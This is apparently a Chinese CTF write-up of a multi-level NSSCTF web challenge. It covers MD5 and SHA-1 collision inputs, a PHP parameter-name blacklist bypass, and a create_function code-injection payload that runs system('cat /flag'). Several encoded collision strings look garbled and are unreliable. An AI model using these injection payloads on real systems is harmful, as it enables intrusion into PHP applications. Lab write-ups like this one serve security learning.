

nothing here

1.查看源码有一个Disallow，想到了robots.txt

```
1 nothing here
2 <!-- here is level 1 -->
3 <!-- disallow: -->
```

访问看到第二关

User-agent: *

Disallow:

Disallow: level_2_1s_h3re.php

2.是md5强碰撞

```
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed . . .");
    }
}
else{
```

这时候要用到一个工具可以快速帮我们找到字符不一样但是md5值一样的一对

```
hashclash //专门用来md5碰撞的工具
里面有个md5_fastcoll
命令：md5_fastcoll -o out1.bin out2.bin //由于有不可见字符，会自动生成out1.bin和
out2.bin文件并将碰撞的两个值存入
```

直接打开会破坏二进制数据，所以写个提取脚本，会输出两个字符串的url编码

```
import sys
import urllib.parse

print('Payload 1:\n'+urllib.parse.quote(open(sys.argv[1], 'rb').read()))
print('Payload 2:\n'+urllib.parse.quote(open(sys.argv[2], 'rb').read()))
```

格式：python3 hashExtract.py 文件1路径 文件2路径

```
● ► python3 hashExtract.py Equcoll/out1.bin Equcoll/out2.bin
Payload 1:
%AF%C2%8C%15C%9B%12%B2%CDk%9A%A2t%ED%DD%A2b%CF%038R%84%AE%3D6~%3A%C2r%B2%89%9
%5%D1%11C%2%D9%FA%8B-Pg%28Ry%0E%94R%12%99m%A4%BDG%B3l%02T%E4%0ET%1F%A2%E5%7C
%C6a%24%ABe%92%F52aA%3E%F3%9E%91%EF%8D%0Cq%96%A5%B7%0A%FB%EC%E6%D8%2BF%P%B7%
FC%ED%158%3Fx%81%94%C3%E6~%28Y%8A%A042%3C%E1%D0M%C7%96%DA%D3%02%7F%9B%87%E3
%05%AB%F1%09
Payload 2:
%AF%C2%8C%15C%9B%12%B2%CDk%9A%A2t%ED%DD%A2b%CF%03%8R%84%AE%3D6~%3A%C2r%B2%89%
%95%D1%11C%2%D9%FA%8B-Pg%28Ry%0E%14S%12%99m%A4%BDG%B3l%02T%E4%0E%D4%1F%A2%E
%5%7C%C6a%24%ABe%92%F52aA%3E%F3%9E%91%EF%8D%0Cq%96%25%B7%0A%FB%EC%E6%D8%2BF%P%
%B7%FC%ED%158%3Fx%81%94%C3%E6~%28Y%8A%A0%41%3C%E1%D0M%C7%96%DA%D3%02%7F%9B
%87c%05%AB%F1%09
```

将这两个字符串传过去就行，字符太多了浏览器不让传，可以用curl

```
curl http://node5.anna.nssctf.cn:24970/level_2_1s_h3re.php -X POST -d
"array1=%AF%C2%15C%9B%12% B2%CDk%9A%A2t%ED%DD%A2b%CF%038R%84%AE%3D6~%3A%C2
r%B2%89%95%D1%11%C2%D9%FA%8B-
Pg%28Ry%0E%94R%12%99m%A4%BDG%B3l%02T%E4%0ET%1F%A2%E5%7C%C6a%24%ABe%92%F52aA%3E%F3
%9E%91%EF%8D%0Cq%96%A5%B7%0A%FB%EC%E6%D8%2BfP%B7%FC%ED%158%3Fx%81%94%C3%E6~%28Y%8
%A%A042%3C%E1%D0M%C7%96%DA%D3%02%7F%9B%87%E3%05%AB%F1%09&array2=%AF%C2%15C%9B%12%
B2%CDk%9A%A2t%ED%DD%A2b%CF%03%8B%84%AE%3D6~%3A%C2r%B2%89%95%D1%11%C2%D9%FA%8B-
Pg%28Ry%0E%14S%12%99m%A4%BDG%B3l%02T%E4%0E%D4%1F%A2%E5%7C%C6a%24%ABe%92%F52aA%3E%
F3%9E%91%EF%8D%0Cq%96%25%B7%0A%FB%EC%E6%D8%2BfP%B7%FC%ED%158%3Fx%81%94%C3%E6~%28Y%
%8A%A0%8B41%3C%E1%D0M%C7%96%DA%D3%02%7F%9B%87C%05%AB%F1%09"
```

```
• ► curl http://node5.anna.nssctf.cn:24970/level_2_1s_h3re.php -X POST -d "array1=%AF%C28%15C%9B%12%B2%CDk%9A%A2t%ED%DD%A2b%CF%038R%84%AE%3D6~%3AC2r%B2%89%95%D1%11%C2%D9%FA%8B-Pg%28Ry%0E%94R%12%99m%A4%BDG%B3l%02T%E4%0ET%1F%A2%E5%7C%C6a%24%ABe%92%F52aA%3E%F3%9E%91%EF%8D%0Cq%96%A5%B7%0A%FB%EC%E6%D8%2BfP%B7%FC%ED%158%3Fx%81%94%C3%E6~%28Y%8A%A042%3C%E1%D0M%C7%96%DA%D3%02%7F%9B%87%E3%05%AB%F1%09&array2=%AF%C28%15C%9B%12%B2%CDk%9A%A2t%ED%DD%A2b%CF%033%B8R%84%AE%3D6~%3AC2r%B2%89%95%D1%11%C2%D9%FA%8B-Pg%28Ry%0E%14S%12%99m%A4%BDG%B3l%02T%E4%0E%D4%1F%A2%E5%7C%C6a%24%ABe%92%F52aA%3E%F3%9E%91%EF%8D%0Cq%96%25%B7%0A%FB%EC%E6%D8%2BfP%B7%FC%ED%158%3Fx%81%94%C3%E6~%28Y%8A%A0%B41%3C%E1%D0M%C7%96%DA%D3%02%7F%9B%87c%05%AB%F1%09"
```

3.输出第三关的文件，访问过去，这次是sha1碰撞，这比md5难多了

```
-----\` ,  
include "str.php";  
if (isset($_POST['array1']) && isset($_POST['array2'])) {  
    $a1 = (string)$_POST['array1'];  
    $a2 = (string)$_POST['array2'];  
    if ($a1 == $a2){  
        die("????");  
    }  
    if [sha1($a1) === sha1($a2)) {  
        echo $level4;  
    }  
    else{  
        die("level 3 failed . . .");  
    }  
}  
else{  
    show_source(__FILE__);  
}  
?>
```

我只有这一对

```

array1=%25PDF-
1.3%0A%25E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%2
00%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200
%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24S
HA-
1%20is%20dead%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%D
C%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F
8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%Adr%8F%0EI%04%E0F%C20W%0F%E9%D4%13
%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-
%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx%0Z%21Vda%97%89%60k%D0%BF
%3F%98%CD%A8%04F%29%A1&array2=%25PDF-
1.3%0A%25E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%2
00%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200
%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24S
HA-
1%20is%20dead%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%
91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F
8m%B3%A9%09%01%D5%DFE%C10%26%FE%DF%B3%DC8%E9j%C2/%E7%BD%8F%0EE%BC%E0F%D2%3C%W%0F%
EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%80%7B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0
D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98
%CD%A4%BCF%29%B1

```

```

● ► curl http://node5.anna.nssctf.cn:24970/Level___3.php -X POST -d "arra
y1=%25PDF-1.3%0A%25E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%
20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%
20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0A
stream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%85/%EC%09%239u%
9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0B
E%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B
7%608%E9rr/%E7%Adr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35
B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx%0Z%21Vda%0
97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25E2%E3%CF%D3%0
A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%2
00%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length
%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1
20is%20dead%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF
%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%
3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C10%26%FE%DF%B3%DC8%E9j%C2/%E7%BD%8F%0EE%BC%
E0F%D2%3C%W%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%80%7B8%B5%D7%1F%0E3.
%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98
%CD%A4%BCF%29%B1"
level_level_4.php

```

4.第四关php变量解析，PHP会把不能识别的字符转成下划线?NI+SA+=txw4ever

说明一下

```

$_SERVER['REQUEST_URI']:访问的url
parse_url:将url每部分分出来，如：
http://node5.anna.nssctf.cn:24970/level_level_4.php?NI+SA+=txw4ever
则返回这样的数组
Array{
    "scheme"=> "http",
    "host" => "node5.anna.nssctf.cn",
    "port" => 24970,
    "path" => "/level_level_4.php",
    "query" => "NI+SA+=txw4ever"      //问号后的字符串
}

```

```
$str = parse_url($_SERVER['REQUEST_URI']);
if($str['query'] == ""){
    echo "give me a parameter";
}
if(preg_match('/ |_|20|5f|2e|\./', $str['query'])){
    die("blacklist here");
}
if($_GET['NI_SA_'] === "txw4ever"){
    die($level5);
} |
else{
    die("level 4 failed . . .");
}
```

55_5_55.php

The screenshot shows a web-based penetration testing or reverse engineering environment. At the top, there's a navigation bar with tabs like '查看器' (Viewer), '控制台' (Console), '调试器' (Debugger), '网络' (Network), '样式编辑器' (Style Editor), '性能' (Performance), '内存' (Memory), '存储' (Storage), and '无障碍环境' (Accessible Environment). Below the navigation bar, there are several dropdown menus: 'LOAD', 'SPLIT', 'EXECUTE', 'TEST', 'SQLI', 'XSS', 'LFI', and 'SSRF'. A 'URL' input field contains the URL `http://node5.anna.nssctf.cn:24970/level_level_4.php?NI+SA+=txw4ever`. In the main workspace, there's a code editor window containing PHP code. Above the code editor, a payload is shown in a text box: `payload : ?a=\create_function&b=system('cat /flag');/*`. The PHP code itself is:

```
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[_a-zA-Z0-9_]*$/isD', $a)){
    show_source(__FILE__);
}
else{
    $a(' ', $b);
}
```

为什么要这么写呢

在 PHP 中 \ 代表“全局命名空间”，加了 \ 代表用php全局原生函数，在这可以用来绕过
create_function 在底层执行了类似eval的命令，语法：create_function(string \$args, string
\$code)
args为参数，code为内部代码

```
function __lambda_func($args) {
    // $code
}
```

这只是创造而已，但我们传入b的值，会让代码变成

```
function __lambda_func($args) {
    }system('cat /flag');/*
}
```

直接逃逸到了外面，执行了命令

NSSCTF{a0497678-33e5-4eb3-aebf-a52f264637b8}

URL

http://node5.anna.nssctf.cn:24970/55_5_55.php?a=\create_function&b=}system('cat /flag');/*